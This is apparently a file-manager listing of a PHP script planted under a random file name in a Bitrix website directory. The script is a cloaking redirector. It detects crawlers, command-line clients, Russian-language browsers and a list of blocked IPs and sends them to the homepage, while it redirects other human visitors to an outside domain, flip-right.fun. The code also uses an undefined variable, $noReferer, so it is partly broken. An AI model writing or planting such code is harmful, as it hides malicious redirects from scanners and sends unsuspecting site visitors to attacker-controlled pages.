Current Path : /home/bitrix/ext_www/vebmarket.yacl.site/ |
Current File : /home/bitrix/ext_www/vebmarket.yacl.site/dfqjyl.php |
<?php $bots = [ 'Googlebot', 'Bingbot', 'Slurp', 'DuckDuckBot', 'Baiduspider', 'YandexBot', 'Sogou', 'Exabot', 'facebot', 'ia_archiver', 'curl', 'wget', 'python', 'libwww', 'httpclient', 'scrapy', 'node-fetch', 'Go-http-client', 'Java', 'okhttp', 'HttpClient', 'PHP', 'Apache-HttpClient', 'PostmanRuntime' ]; $blockedIps = [ '52.229.50.174', '52.168.53.211', '13.68.23.72', '13.64.229.66', '20.3.176.58', '52.247.61.136', '72.153.231.0', '135.125.122.65', '51.8.219.224', '163.172.240.97', ]; $botLanguages = ['ru', 'ru-RU']; $humanRedirect = 'https://flip-right.fun/F9nyfNwz'; $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? ''; $acceptLanguage = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? ''; $userIp = $_SERVER['REMOTE_ADDR'] ?? ''; $referer = $_SERVER['HTTP_REFERER'] ?? ''; $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https://" : "http://"; $host = $_SERVER['HTTP_HOST']; $baseUrl = $protocol . $host . '/'; if (!isset($_COOKIE['js_enabled'])) { echo "<script>document.cookie = 'js_enabled=1; path=/'; location.reload();</script>"; exit; } $isBot = false; foreach ($bots as $bot) { if (stripos($userAgent, $bot) !== false) { $isBot = true; break; } } $isBotLang = false; foreach ($botLanguages as $lang) { if (stripos($acceptLanguage, $lang) !== false) { $isBotLang = true; break; } } $isBlockedIp = in_array($userIp, $blockedIps); if ($isBot || $isBotLang || $isBlockedIp || $noReferer) { header("Location: $baseUrl"); } else { header("Location: $humanRedirect"); } exit;